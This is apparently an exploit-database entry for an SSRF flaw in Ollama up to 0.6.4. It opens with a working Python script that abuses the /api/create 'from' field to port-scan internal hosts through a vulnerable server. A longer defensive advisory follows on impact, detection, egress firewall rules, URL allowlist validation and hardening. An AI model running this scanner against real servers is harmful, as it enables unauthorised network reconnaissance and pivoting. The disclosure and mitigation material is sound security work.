ollama 0.6.4 - Server Side Request Forgery (SSRF)
# Exploit Title: ollama 0.6.4 - SSRF
# Date: 2025-04-03
# Exploit Author: sud0
# Vendor Homepage: https://ollama.com/
# Software Link: https://github.com/ollama/ollama/releases
# Version: <=0.6.4
# Tested on: CentOS 8
import argparse
import requests
import json
from urllib.parse import urljoin
def check_port(api_base, ip, port):
api_endpoint = api_base.rstrip('/') + '/api/create'
model_path = "mynp/model:1.1"
target_url = f"https://{ip}:{port}/{model_path}"
payload = {
"model": "mario",
"from": target_url,
"system": "You are Mario from Super Mario Bros."
}
try:
response = requests.post(api_endpoint, json=payload, timeout=10, stream=True)
response.raise_for_status()
for line in response.iter_lines():
if line:
try:
json_data = json.loads(line.decode('utf-8'))
if "error" in json_data and "pull model manifest" in json_data["error"]:
error_msg = json_data["error"]
model_path_list = model_path.split(":", 2)
model_path_prefix = model_path_list[0]
model_path_suffix = model_path_list[1]
model_path_with_manifests = f"{model_path_prefix}/manifests/{model_path_suffix}"
if model_path_with_manifests in error_msg:
path_start = error_msg.find(model_path_with_manifests)
result = error_msg[path_start+len(model_path_with_manifests)+3:] if path_start != -1 else ""
print(f"Raw Response: {result}")
if "connection refused" in error_msg.lower():
print(f"[!] Port Closed - {ip}:{port}")
else:
print(f"[+] Port Maybe Open - {ip}:{port}")
return
except json.JSONDecodeError:
continue
print(f"[?] Unkown Status - {ip}:{port}")
except requests.exceptions.RequestException as e:
print(f"[x] Execute failed: {str(e)}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="ollama ssrf - port scan")
parser.add_argument("--api", required=True, help="Ollama api url")
parser.add_argument("-i", "--ip", required=True, help="target ip")
parser.add_argument("-p", "--port", required=True, type=int, help="target port")
args = parser.parse_args()
check_port(args.api, args.ip, args.port) Ollama 0.6.4 — Server‑Side Request Forgery (SSRF): Overview, Risks, and Mitigations
Summary
In April 2025 an SSRF issue affecting Ollama versions up to 0.6.4 was reported. The underlying risk class (SSRF) allows an attacker who can control a resource URL or similar input to cause the server to make arbitrary HTTP(S) requests on the attacker’s behalf. Consequences can include internal port scanning, access to internal services, metadata service exfiltration, and pivoting within a cloud or private network.
How the Vulnerability Manifests (Conceptual)
At a conceptual level, the vulnerable behavior arises when an API accepts a user-supplied URL or host identifier and then performs a server-side fetch without robust validation or egress control. If the server resolves and connects to that address directly, an attacker can cause requests to:
- Internal IPs and ports (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, link‑local, and cloud metadata ranges)
- Local UNIX sockets or administration endpoints if exposed via HTTP proxying
- Services listening on non‑standard ports that are unreachable from the public internet
Potential Impact
- Information disclosure: Access to internal APIs, configuration endpoints, or cloud metadata services that can leak credentials or tokens.
- Reconnaissance: Server‑side port scanning and service enumeration of private networks.
- Privilege escalation / lateral movement: If services discovered via SSRF are vulnerable, the attacker can chain further exploits.
- Denial-of-service: Inducing the server to make many or slow external requests may consume resources.
Detection Indicators
Detection is a mix of log analysis and runtime observability. Look for:
- Unexpected outbound requests initiated by processes that normally do not make external calls.
- API requests containing unexpected URL fields or hostnames in parameters (e.g., fields named from, url, source).
- Error messages in application logs that reference fetching or pulling remote manifests or assets.
- Unusual traffic to internal IP ranges or ephemeral high‑port connections shortly after client requests.
Immediate Mitigations (Administrators)
- Upgrade: Apply upstream patches from the vendor as the first priority. If a fixed Ollama release is available, update immediately.
- Block egress to sensitive ranges: Use firewall rules or host egress policies to prevent application hosts from reaching private and cloud metadata IP ranges unless explicitly required.
- Disable automatic remote pulls: Where possible, turn off automatic remote fetching of models or manifests and use only locally trusted artifacts.
- Secondary controls: Add Web Application Firewall (WAF) signatures, rate limiting, and strict request validation for API surfaces that accept URLs or hosts.
Network-level Example: Restricting Egress to Private Ranges
# Example: nftables rules (defensive) to block egress to common private ranges.
# This is a defensive illustration — adapt to your environment and test before applying.
table inet filter {
chain output {
type filter hook output priority 0;
# allow localhost
ip daddr 127.0.0.0/8 counter accept
# drop common private ranges and cloud metadata addresses
ip daddr {10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254/32} counter drop
# default allow or other egress controls
}
}
Explanation: This example adds defensive firewall filtering to prevent processes from contacting common private ranges and the cloud metadata service (169.254.169.254). It is intended as a network containment control and should be tested with your deployment workflow.
Application-level Defenses (Safe Code Patterns)
When an application must accept a user-supplied URL, perform strict validation and enforce allowlists. The following Python snippet demonstrates a defensive URL validation approach that:
- Parses and normalizes the URL
- Allows only safe schemes (HTTPS preferred)
- Resolves DNS and rejects private / local addresses
- Supports an explicit host allowlist (domain or IP)
import socket
import ipaddress
from urllib.parse import urlparse
ALLOWED_HOSTS = {"models.example.com", "registry.trusted.example"}
def is_private_address(ip_str):
ip = ipaddress.ip_address(ip_str)
return ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved
def validate_fetch_url(url):
parsed = urlparse(url)
if parsed.scheme not in ("https",):
raise ValueError("Only HTTPS is allowed")
hostname = parsed.hostname
if not hostname:
raise ValueError("Missing hostname")
# optional allowlist check
if hostname not in ALLOWED_HOSTS:
raise ValueError("Host not allowed")
# resolve and ensure not private
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror:
raise ValueError("DNS resolution failed")
for family, _, _, _, sockaddr in infos:
ip = sockaddr[0]
if is_private_address(ip):
raise ValueError("Resolved to private or local address")
return True
Explanation: This defensive function rejects non‑HTTPS input, enforces an allowlist, and checks DNS resolutions to ensure the hostname does not resolve to private or otherwise reserved addresses. Using an explicit allowlist is the strongest protection—only permit known, trusted hostnames.
Runtime Hardening and Least Privilege
- Run the application under a dedicated, least‑privileged identity so even if a fetch occurs it has minimal rights.
- Limit container or process network capabilities (e.g., by using Kubernetes NetworkPolicies or container networking namespaces).
- Use dedicated egress proxies that can be audited and enforce allowlists at the proxy layer.
- Apply timeouts and connection limits to reduce resource exhaustion and slow‑loris style attacks.
Logging, Monitoring, and Incident Response
- Log all outgoing fetch attempts and correlate them with incoming requests; include request IDs.
- Create alerts for outbound attempts to internal ranges, metadata addresses, or otherwise unexpected hosts.
- Retain request payloads and relevant headers for forensic review (redact secrets where needed).
- If you detect exploitation attempts, isolate affected hosts, capture relevant logs, and rotate any potentially exposed credentials.
Secure Development Recommendations
- Design APIs to avoid server-side fetching of attacker-provided URLs. When possible, require the client to upload artifacts or select pre-approved models.
- Perform threat modeling to enumerate where SSRF could lead to downstream attacks (metadata, internal admin panels, databases).
- Unit and integration tests should include negative tests that verify the server refuses private/internal addresses.
Patch and Vendor Guidance
Administrators should consult the official Ollama release notes and vendor advisories for the definitive patch and mitigation steps. Apply vendor patches promptly and validate the upgrade in a staging environment. If you cannot immediately upgrade, prioritize network egress restrictions and application‑level allowlists as compensating controls.
Conclusion
SSRF remains a high‑impact vulnerability class because it bypasses network boundaries by leveraging trusted services. For Ollama or any service that fetches remote manifests or models, the safest pattern is to avoid fetching arbitrary external URLs — prefer allowlists, local artifacts, and strong egress controls. Combine code‑level validation with network segmentation and vigilant monitoring to reduce risk.
References & Next Steps
- Vendor page and release notes: https://ollama.com/
- Repository and releases (for upgrade tracking): https://github.com/ollama/ollama/releases
- Industry guidance: OWASP SSRF prevention recommendations and defensive patterns